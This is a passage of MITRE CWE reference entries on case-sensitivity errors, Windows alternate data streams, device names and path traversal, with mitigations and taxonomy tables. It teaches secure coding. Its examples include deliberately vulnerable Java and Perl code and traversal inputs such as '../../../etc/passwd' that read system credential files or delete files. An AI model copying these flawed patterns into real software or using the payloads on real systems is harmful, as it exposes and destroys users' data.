Status: Incomplete
Presentation Filter:
+ Description

Description Summary

The software does not properly account for differences in case sensitivity when accessing or determining the properties of a resource, leading to inconsistent results.

Extended Description

Improperly handled case sensitive data can lead to several possible consequences, including:

  • case-insensitive passwords reducing the size of the key space, making brute force attacks easier

  • bypassing filters or access controls using alternate names

  • multiple interpretation errors using alternate names.

+ Time of Introduction
  • Implementation
+ Applicable Platforms

Languages

All

+ Common Consequences
ScopeEffect
Access Control

Technical Impact: Bypass protection mechanism

+ Demonstrative Examples

Example 1

In the following example, an XSS neutralization method replaces script tags in user supplied input with a safe equivalent:

(Bad Code)
Example Language: Java 
public String preventXSS(String input, String mask) {
return input.replaceAll("script", mask);
}

The code only works when the "script" tag is in all lower-case, forming an incomplete blacklist (CWE-184). Equivalent tags such as "SCRIPT" or "ScRiPt" will not be neutralized by this method, allowing an XSS attack.

+ Observed Examples
ReferenceDescription
Application server allows attackers to bypass execution of a jsp page and read the source code using an upper case JSP extension in the request.
The server is case sensitive, so filetype handlers treat .jsp and .JSP as different extensions. JSP source code may be read because .JSP defaults to the filetype "text".
The server is case sensitive, so filetype handlers treat .jsp and .JSP as different extensions. JSP source code may be read because .JSP defaults to the filetype "text".
A URL that contains some characters whose case is not matched by the server's filters may bypass access restrictions because the case-insensitive file system will then handle the request after it bypasses the case sensitive filter.
Server allows remote attackers to obtain source code of CGI scripts via URLs that contain MS-DOS conventions such as (1) upper case letters or (2) 8.3 file names.
Task Manager does not allow local users to end processes with uppercase letters named (1) winlogon.exe, (2) csrss.exe, (3) smss.exe and (4) services.exe via the Process tab which could allow local users to install Trojan horses that cannot be stopped.
chain: Code was ported from a case-sensitive Unix platform to a case-insensitive Windows platform where filetype handlers treat .jsp and .JSP as different extensions. JSP source code may be read because .JSP defaults to the filetype "text".
Leads to interpretation error
Directories may be listed because lower case web requests are not properly handled by the server.
File extension check in forum software only verifies extensions that contain all lowercase letters, which allows remote attackers to upload arbitrary files via file extensions that include uppercase letters.
Web server restricts access to files in a case sensitive manner, but the filesystem accesses files in a case insensitive manner, which allows remote attackers to read privileged files using alternate capitalization.
Case insensitive passwords lead to search space reduction.
HTTP server allows bypass of access restrictions using URIs with mixed case.
Mixed upper/lowercase allows bypass of ACLs.
Bypass malicious script detection by using tokens that aren't case sensitive.
Mixed case problem allows "admin" to have "Admin" rights (alternate name property).
Chain: uppercase file extensions causes web server to return script source code instead of executing the script.
+ Potential Mitigations

Phase: Architecture and Design

Strategy: Input Validation

Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfCategoryCategory171Cleansing, Canonicalization, and Comparison Errors
Development Concepts (primary)699
ChildOfCategoryCategory632Weaknesses that Affect Files or Directories
Resource-specific Weaknesses (primary)631
ChildOfWeakness ClassWeakness Class706Use of Incorrectly-Resolved Name or Reference
Research Concepts (primary)1000
ChildOfCategoryCategory992SFP Secondary Cluster: Faulty Input Transformation
Software Fault Pattern (SFP) Clusters (primary)888
CanPrecedeWeakness VariantWeakness Variant289Authentication Bypass by Alternate Name
Research Concepts1000
CanPrecedeWeakness VariantWeakness Variant433Unparsed Raw Web Content Delivery
Research Concepts1000
+ Research Gaps

These are probably under-studied in Windows and Mac environments, where file names are case-insensitive and thus are subject to equivalence manipulations involving case.

+ Affected Resources
  • File/Directory
+ Functional Areas
  • File Processing, Credentials
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERCase Sensitivity (lowercase, uppercase, mixed case)
+ Content History
Submissions
Submission DateSubmitterOrganizationSource
PLOVERExternally Mined
Modifications
Modification DateModifierOrganizationSource
2008-07-01Sean EidemillerCigitalExternal
added/updated demonstrative examples
2008-07-01Eric DalciCigitalExternal
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITREInternal
updated Description, Relationships, Observed_Example, Taxonomy_Mappings
2008-10-14CWE Content TeamMITREInternal
updated Observed_Examples
2008-11-24CWE Content TeamMITREInternal
updated Observed_Examples
2009-03-10CWE Content TeamMITREInternal
updated Description
2009-07-27CWE Content TeamMITREInternal
updated Potential_Mitigations
2010-06-21CWE Content TeamMITREInternal
updated Demonstrative_Examples
2010-12-13CWE Content TeamMITREInternal
updated Name
2011-03-29CWE Content TeamMITREInternal
updated Potential_Mitigations
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences
2012-05-11CWE Content TeamMITREInternal
updated Observed_Examples, Relationships
2012-10-30CWE Content TeamMITREInternal
updated Demonstrative_Examples, Potential_Mitigations
2014-07-30CWE Content TeamMITREInternal
updated Relationships
Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Case Sensitivity (Lowercase, Uppercase, Mixed Case)
2010-12-13Failure to Resolve Case Sensitivity

CWE-69: Improper Handling of Windows ::DATA Alternate Data Stream

Weakness ID: 69
Abstraction: Variant
Status: Incomplete
Presentation Filter:
+ Description

Description Summary

The software does not properly prevent access to, or detect usage of, alternate data streams (ADS).

Extended Description

An attacker can use an ADS to hide information about a file (e.g. size, the name of the process) from a system or file browser tools such as Windows Explorer and 'dir' at the command line utility. Alternately, the attacker might be able to bypass intended access restrictions for the associated data fork.

+ Time of Introduction
  • Architecture and Design
  • Implementation
+ Applicable Platforms

Languages

All

Operating Systems

Windows

+ Common Consequences
ScopeEffect
Access Control
Non-Repudiation
Other

Technical Impact: Bypass protection mechanism; Hide activities; Other

+ Observed Examples
ReferenceDescription
In IIS, remote attackers can obtain source code for ASP files by appending "::$DATA" to the URL.
Product does not properly record file sizes if they are stored in alternative data streams, which allows users to bypass quota restrictions.
+ Potential Mitigations

Phase: Testing

Software tools are capable of finding ADSs on your system.

Phase: Implementation

Ensure that the source code correctly parses the filename to read or write to the correct stream.

+ Background Details

Alternate data streams (ADS) were first implemented in the Windows NT operating system to provide compatibility between NTFS and the Macintosh Hierarchical File System (HFS). In HFS, data and resource forks are used to store information about a file. The data fork provides information about the contents of the file while the resource fork stores metadata such as file type.

+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfWeakness BaseWeakness Base66Improper Handling of File Names that Identify Virtual Resources
Development Concepts (primary)699
Research Concepts (primary)1000
ChildOfCategoryCategory68Windows Virtual File Problems
Resource-specific Weaknesses631
Development Concepts699
ChildOfCategoryCategory634Weaknesses that Affect System Processes
Resource-specific Weaknesses (primary)631
ChildOfCategoryCategory904SFP Primary Cluster: Malware
Software Fault Pattern (SFP) Clusters (primary)888
+ Theoretical Notes

This and similar problems exist because the same resource can have multiple identifiers that dictate which behavior can be performed on the resource.

+ Affected Resources
  • System Process
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERWindows ::DATA alternate data stream
+ References
Don Parker. "Windows NTFS Alternate Data Streams". 2005-02-16. <http://www.securityfocus.com/infocus/1822>.
[REF-11] M. Howard and D. LeBlanc. "Writing Secure Code". 2nd Edition. Microsoft. 2003.
+ Content History
Submissions
Submission DateSubmitterOrganizationSource
PLOVERExternally Mined
Modifications
Modification DateModifierOrganizationSource
2008-07-01Eric DalciCigitalExternal
updated Time_of_Introduction
2008-09-08CWE Content TeamMITREInternal
updated Applicable_Platforms, Background_Details, Description, Relationships, Other_Notes, References, Taxonomy_Mappings
2008-10-14CWE Content TeamMITREInternal
updated Description
2009-10-29CWE Content TeamMITREInternal
updated Other_Notes, Theoretical_Notes
2010-04-05CWE Content TeamMITREInternal
updated Related_Attack_Patterns
2010-12-13CWE Content TeamMITREInternal
updated Name
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences
2012-05-11CWE Content TeamMITREInternal
updated Observed_Examples, References, Relationships
2012-10-30CWE Content TeamMITREInternal
updated Potential_Mitigations
Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Windows ::DATA Alternate Data Stream
2010-12-13Failure to Handle Windows ::DATA Alternate Data Stream

CWE-67: Improper Handling of Windows Device Names

Weakness ID: 67
Abstraction: Variant
Status: Incomplete
Presentation Filter:
+ Description

Description Summary

The software constructs pathnames from user input, but it does not handle or incorrectly handles a pathname containing a Windows device name such as AUX or CON. This typically leads to denial of service or an information exposure when the application attempts to process the pathname as a regular file.

Extended Description

Not properly handling virtual filenames (e.g. AUX, CON, PRN, COM1, LPT1) can result in different types of vulnerabilities. In some cases an attacker can request a device via injection of a virtual filename in a URL, which may cause an error that leads to a denial of service or an error page that reveals sensitive information. A software system that allows device names to bypass filtering runs the risk of an attacker injecting malicious code in a file with the name of a device.

+ Time of Introduction
  • Architecture and Design
  • Implementation
  • Operation
+ Applicable Platforms

Languages

All

Operating Systems

Windows

+ Common Consequences
ScopeEffect
Availability
Confidentiality
Other

Technical Impact: DoS: crash / exit / restart; Read application data; Other

+ Likelihood of Exploit

High to Very High

+ Observed Examples
ReferenceDescription
Server allows remote attackers to cause a denial of service via a series of requests to .JSP files that contain an MS-DOS device name.
Server allows remote attackers to cause a denial of service via an HTTP request for an MS-DOS device name.
Product allows remote attackers to use MS-DOS device names in HTTP requests to cause a denial of service or obtain the physical path of the server.
Server allows remote attackers to cause a denial of service via a URL that contains an MS-DOS device name.
Server allows a remote attacker to create a denial of service via a URL request which includes a MS-DOS device name.
Microsoft Windows 9x operating systems allow an attacker to cause a denial of service via a pathname that includes file device names, aka the "DOS Device in Path Name" vulnerability.
Server allows remote attackers to determine the physical path of the server via a URL containing MS-DOS device names.
Product does not properly handle files whose names contain reserved MS-DOS device names, which can allow malicious code to bypass detection when it is installed, copied, or executed.
Server allows remote attackers to cause a denial of service (application crash) via a URL with a filename containing a .cgi extension and an MS-DOS device name.
+ Potential Mitigations

Phase: Implementation

Be familiar with the device names in the operating system where your system is deployed. Check input for these device names.

+ Background Details

Historically, there was a bug in the Windows operating system that caused a blue screen of death. Even after that issue was fixed DOS device names continue to be a factor.

+ Weakness Ordinalities
OrdinalityDescription
Resultant
(where the weakness is typically related to the presence of some other weaknesses)
+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfWeakness BaseWeakness Base66Improper Handling of File Names that Identify Virtual Resources
Development Concepts (primary)699
Research Concepts (primary)1000
ChildOfCategoryCategory68Windows Virtual File Problems
Resource-specific Weaknesses631
ChildOfCategoryCategory632Weaknesses that Affect Files or Directories
Resource-specific Weaknesses (primary)631
ChildOfCategoryCategory743CERT C Secure Coding Section 09 - Input Output (FIO)
Weaknesses Addressed by the CERT C Secure Coding Standard (primary)734
ChildOfCategoryCategory857CERT Java Secure Coding Section 12 - Input Output (FIO)
Weaknesses Addressed by the CERT Java Secure Coding Standard (primary)844
ChildOfCategoryCategory877CERT C++ Secure Coding Section 09 - Input Output (FIO)
Weaknesses Addressed by the CERT C++ Secure Coding Standard (primary)868
ChildOfCategoryCategory981SFP Secondary Cluster: Path Traversal
Software Fault Pattern (SFP) Clusters (primary)888
+ Affected Resources
  • File/Directory
+ Causal Nature

Explicit

+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERWindows MS-DOS device names
CERT C Secure CodingFIO32-CDo not perform operations on devices that are only appropriate for files
CERT Java Secure CodingFIO00-JDo not operate on files in shared directories
CERT C++ Secure CodingFIO32-CPPDo not perform operations on devices that are only appropriate for files
Software Fault PatternsSFP16Path Traversal
+ References
[REF-11] M. Howard and D. LeBlanc. "Writing Secure Code". 2nd Edition. Microsoft. 2003.
[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 11, "Device Files", Page 666.. 1st Edition. Addison Wesley. 2006.
+ Content History
Submissions
Submission DateSubmitterOrganizationSource
PLOVERExternally Mined
Modifications
Modification DateModifierOrganizationSource
2008-07-01Eric DalciCigitalExternal
updated Time_of_Introduction
2008-09-08CWE Content TeamMITREInternal
updated Applicable_Platforms, Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities
2008-10-14CWE Content TeamMITREInternal
updated Description
2008-11-24CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
2009-03-10CWE Content TeamMITREInternal
updated Description, Name
2009-10-29CWE Content TeamMITREInternal
updated Background_Details, Other_Notes
2010-09-27CWE Content TeamMITREInternal
updated Description
2011-03-29CWE Content TeamMITREInternal
updated Description
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-09-13CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITREInternal
updated Observed_Examples, References, Relationships, Taxonomy_Mappings
2012-10-30CWE Content TeamMITREInternal
updated Potential_Mitigations
2014-07-30CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Windows MS-DOS Device Names
2009-03-10Failure to Handle Windows Device Names

CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Weakness ID: 22
Abstraction: Class
Status: Draft
Presentation Filter:
+ Description

Description Summary

The software uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the software does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

Extended Description

Many file operations are intended to take place within a restricted directory. By using special elements such as ".." and "/" separators, attackers can escape outside of the restricted location to access files or directories that are elsewhere on the system. One of the most common special elements is the "../" sequence, which in most modern operating systems is interpreted as the parent directory of the current location. This is referred to as relative path traversal. Path traversal also covers the use of absolute pathnames such as "/usr/local/bin", which may also be useful in accessing unexpected files. This is referred to as absolute path traversal.

In many programming languages, the injection of a null byte (the 0 or NUL) may allow an attacker to truncate a generated filename to widen the scope of attack. For example, the software may add ".txt" to any pathname, thus limiting the attacker to text files, but a null injection may effectively remove this restriction.

+ Alternate Terms
Directory traversal
Path traversal:

"Path traversal" is preferred over "directory traversal," but both terms are attack-focused.

+ Terminology Notes

Like other weaknesses, terminology is often based on the types of manipulations used, instead of the underlying weaknesses. Some people use "directory traversal" only to refer to the injection of ".." and equivalent sequences whose specific meaning is to traverse directories.

Other variants like "absolute pathname" and "drive letter" have the *effect* of directory traversal, but some people may not call it such, since it doesn't involve ".." or equivalent.

+ Time of Introduction
  • Architecture and Design
  • Implementation
+ Applicable Platforms

Languages

Language-independent

+ Common Consequences
ScopeEffect
Integrity
Confidentiality
Availability

Technical Impact: Execute unauthorized code or commands

The attacker may be able to create or overwrite critical files that are used to execute code, such as programs or libraries.

Integrity

Technical Impact: Modify files or directories

The attacker may be able to overwrite or create critical files, such as programs, libraries, or important data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, appending a new account at the end of a password file may allow an attacker to bypass authentication.

Confidentiality

Technical Impact: Read files or directories

The attacker may be able read the contents of unexpected files and expose sensitive data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, by reading a password file, the attacker could conduct brute force password guessing attacks in order to break into an account on the system.

Availability

Technical Impact: DoS: crash / exit / restart

The attacker may be able to overwrite, delete, or corrupt unexpected critical files such as programs, libraries, or important data. This may prevent the software from working at all and in the case of a protection mechanisms such as authentication, it has the potential to lockout every user of the software.

+ Likelihood of Exploit

High to Very High

+ Detection Methods

Automated Static Analysis

Automated techniques can find areas where path traversal weaknesses exist. However, tuning or customization may be required to remove or de-prioritize path-traversal problems that are only exploitable by the software's administrator - or other privileged users - and thus potentially valid behavior or, at worst, a bug instead of a vulnerability.

Effectiveness: High

Manual Static Analysis

Manual white box techniques may be able to provide sufficient code coverage and reduction of false positives if all file access operations can be assessed within limited time constraints.

Effectiveness: High

Automated Static Analysis - Binary / Bytecode

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

  • Bytecode Weakness Analysis - including disassembler + source code weakness analysis

Cost effective for partial coverage:

  • Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: SOAR High

Manual Static Analysis - Binary / Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with automated results interpretation

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

  • Web Application Scanner

  • Web Services Scanner

  • Database Scanners

Effectiveness: SOAR High

Dynamic Analysis with manual results interpretation

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

  • Fuzz Tester

  • Framework-based Fuzzer

Effectiveness: SOAR High

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

  • Manual Source Code Review (not inspections)

Cost effective for partial coverage:

  • Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness: SOAR High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

  • Source code Weakness Analyzer

  • Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR High

Architecture / Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

  • Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: SOAR High

+ Demonstrative Examples

Example 1

The following code could be for a social networking application in which each user's profile information is stored in a separate file. All files are stored in a single directory.

(Bad Code)
Example Language: Perl 
my $dataPath = "/users/cwe/profiles";
my $username = param("user");
my $profilePath = $dataPath . "/" . $username;

open(my $fh, "<$profilePath") || ExitError("profile read error: $profilePath");
print "<ul>\n";
while (<$fh>) {
print "<li>$_</li>\n";
}
print "</ul>\n";

While the programmer intends to access files such as "/users/cwe/profiles/alice" or "/users/cwe/profiles/bob", there is no verification of the incoming user parameter. An attacker could provide a string such as:

(Attack)
 
../../../etc/passwd

The program would generate a profile pathname like this:

(Result)
 
/users/cwe/profiles/../../../etc/passwd

When the file is opened, the operating system resolves the "../" during path canonicalization and actually accesses this file:

(Result)
 
/etc/passwd

As a result, the attacker could read the entire text of the password file.

Notice how this code also contains an error message information leak (CWE-209) if the user parameter does not produce a file that exists: the full pathname is provided. Because of the lack of output encoding of the file that is retrieved, there might also be a cross-site scripting problem (CWE-79) if profile contains any HTML, but other code would need to be examined.

Example 2

In the example below, the path to a dictionary file is read from a system property and used to initialize a File object.

(Bad Code)
Example Language: Java 
String filename = System.getProperty("com.domain.application.dictionaryFile");
File dictionaryFile = new File(filename);

However, the path is not validated or modified to prevent it from containing relative or absolute path sequences before creating the File object. This allows anyone who can control the system property to determine what file is used. Ideally, the path should be resolved relative to some kind of application or user home directory.

Example 3

The following code takes untrusted input and uses a regular expression to filter "../" from the input. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.

(Bad Code)
Example Language: Perl 
my $Username = GetUntrustedInput();
$Username =~ s/\.\.\///;
my $filename = "/home/user/" . $Username;
ReadAndSendFile($filename);

Since the regular expression does not have the /g global match modifier, it only removes the first instance of "../" it comes across. So an input value such as:

(Attack)
 
../../../etc/passwd

will have the first "../" stripped, resulting in:

(Result)
 
../../etc/passwd

This value is then concatenated with the /home/user/ directory:

(Result)
 
/home/user/../../etc/passwd

which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-23).

Example 4

The following code attempts to validate a given input path by checking it against a whitelist and once validated delete the given file. In this specific case, the path is considered valid if it starts with the string "/safe_dir/".

(Bad Code)
Example Language: Java 
String path = getInputPath();
if (path.startsWith("/safe_dir/"))
{
File f = new File(path);
f.delete()
}

An attacker could provide an input such as this:

(Attack)
 
/safe_dir/../important.dat

The software assumes that the path is valid because it starts with the "/safe_path/" sequence, but the "../" sequence will cause the program to delete the important.dat file in the parent directory

Example 5

The following code demonstrates the unrestricted upload of a file with a Java servlet and a path traversal vulnerability. The HTML code is the same as in the previous example with the action attribute of the form sending the upload file request to the Java servlet instead of the PHP code.

(Good Code)
Example Language: HTML 
<form action="FileUploadServlet" method="post" enctype="multipart/form-data">

Choose a file to upload:
<input type="file" name="filename"/>
<br/>
<input type="submit" name="submit" value="Submit"/>

</form>

When submitted the Java servlet's doPost method will receive the request, extract the name of the file from the Http request header, read the file contents from the request and output the file to the local upload directory.

(Bad Code)
Example Language: Java 
public class FileUploadServlet extends HttpServlet {

...

protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {

response.setContentType("text/html");
PrintWriter out = response.getWriter();
String contentType = request.getContentType();

// the starting position of the boundary header
int ind = contentType.indexOf("boundary=");
String boundary = contentType.substring(ind+9);

String pLine = new String();
String uploadLocation = new String(UPLOAD_DIRECTORY_STRING); //Constant value

// verify that content type is multipart form data
if (contentType != null && contentType.indexOf("multipart/form-data") != -1) {

// extract the filename from the Http header
BufferedReader br = new BufferedReader(new InputStreamReader(request.getInputStream()));
...
pLine = br.readLine();
String filename = pLine.substring(pLine.lastIndexOf("\\"), pLine.lastIndexOf("\""));
...

// output the file to the local upload directory
try {
BufferedWriter bw = new BufferedWriter(new FileWriter(uploadLocation+filename, true));
for (String line; (line=br.readLine())!=null; ) {
if (line.indexOf(boundary) == -1) {
bw.write(line);
bw.newLine();
bw.flush();
}
} //end of for loop
bw.close();

} catch (IOException ex) {...}
// output successful upload response HTML page
}
// output unsuccessful upload response HTML page
else
{...}
}
...
}

This code does not check the filename that is provided in the header, so an attacker can use "../" sequences to write to files outside of the intended directory. Depending on the executing environment, the attacker may be able to specify arbitrary files to write to, leading to a wide variety of consequences, from code execution, XSS (CWE-79), or system crash.

Also, this code does not perform a check on the type of the file being uploaded. This could allow an attacker to upload any executable file or other file with malicious code (CWE-434).

+ Observed Examples
ReferenceDescription
Newsletter module allows reading arbitrary files using "../" sequences.
FTP server allows deletion of arbitrary files using ".." in the DELE command.
FTP server allows creation of arbitrary directories using ".." in the MKD command.
OBEX FTP service for a Bluetooth device allows listing of directories, and creation or reading of files using ".." sequences.
Software package maintenance program allows overwriting arbitrary files using "../" sequences.
Bulletin board allows attackers to determine the existence of files using the avatar.
PHP program allows arbitrary code execution using ".." in filenames that are fed to the include() function.
Overwrite of files using a .. in a Torrent file.
Chat program allows overwriting files using a custom smiley request.
Chain: external control of values for user's desired language and theme enables path traversal.
Chain: library file sends a redirect if it is directly requested but continues to execute, allowing remote file inclusion and path traversal.
+ Potential Mitigations

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When validating filenames, use stringent whitelists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a whitelist of allowable file extensions, which will help to avoid CWE-434.

Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a blacklist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:

  • realpath() in C

  • getCanonicalPath() in Java

  • GetFullPath() in ASP.NET

  • realpath() or abs_path() in Perl

  • realpath() in PHP

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Phase: Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

Effectiveness: Moderate

An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.

Phases: Architecture and Design; Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [R.22.5]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Phase: Architecture and Design

Strategy: Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [R.22.3] provide this capability.

Phases: Architecture and Design; Operation

Strategy: Sandbox or Jail

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.

OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.

Be careful to avoid CWE-243 and other weaknesses related to jails.

Effectiveness: Limited

The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

Phases: Architecture and Design; Operation

Strategy: Identify and Reduce Attack Surface

Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.

This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.

Phase: Implementation

Ensure that error messages only contain minimal details that are useful to the intended audience, and nobody else. The messages need to strike the balance between being too cryptic and not being cryptic enough. They should not necessarily reveal the methods that were used to determine the error. Such detailed information can be used to refine the original attack to increase the chances of success.

If errors must be tracked in some detail, capture them in log messages - but consider what could occur if the log messages can be viewed by attackers. Avoid recording highly sensitive information such as passwords in any form. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a username is valid or not.

In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.

Phases: Operation; Implementation

Strategy: Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
Resultant
(where the weakness is typically related to the presence of some other weaknesses)
+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfCategoryCategory21Pathname Traversal and Equivalence Errors
Development Concepts (primary)699
Weaknesses for Simplified Mapping of Published Vulnerabilities (primary)1003
ChildOfCategoryCategory632Weaknesses that Affect Files or Directories
Resource-specific Weaknesses (primary)631
ChildOfWeakness ClassWeakness Class668Exposure of Resource to Wrong Sphere
Research Concepts1000
ChildOfWeakness ClassWeakness Class706Use of Incorrectly-Resolved Name or Reference
Research Concepts (primary)1000
ChildOfCategoryCategory715OWASP Top Ten 2007 Category A4 - Insecure Direct Object Reference
Weaknesses in OWASP Top Ten (2007) (primary)629
ChildOfCategoryCategory723OWASP Top Ten 2004 Category A2 - Broken Access Control
Weaknesses in OWASP Top Ten (2004) (primary)711
ChildOfCategoryCategory743CERT C Secure Coding Section 09 - Input Output (FIO)
Weaknesses Addressed by the CERT C Secure Coding Standard (primary)734
ChildOfCategoryCategory8022010 Top 25 - Risky Resource Management
Weaknesses in the 2010 CWE/SANS Top 25 Most Dangerous Programming Errors (primary)800
ChildOfCategoryCategory813OWASP Top Ten 2010 Category A4 - Insecure Direct Object References
Weaknesses in OWASP Top Ten (2010) (primary)809
ChildOfCategoryCategory8652011 Top 25 - Risky Resource Management
Weaknesses in the 2011 CWE/SANS Top 25 Most Dangerous Software Errors (primary)900
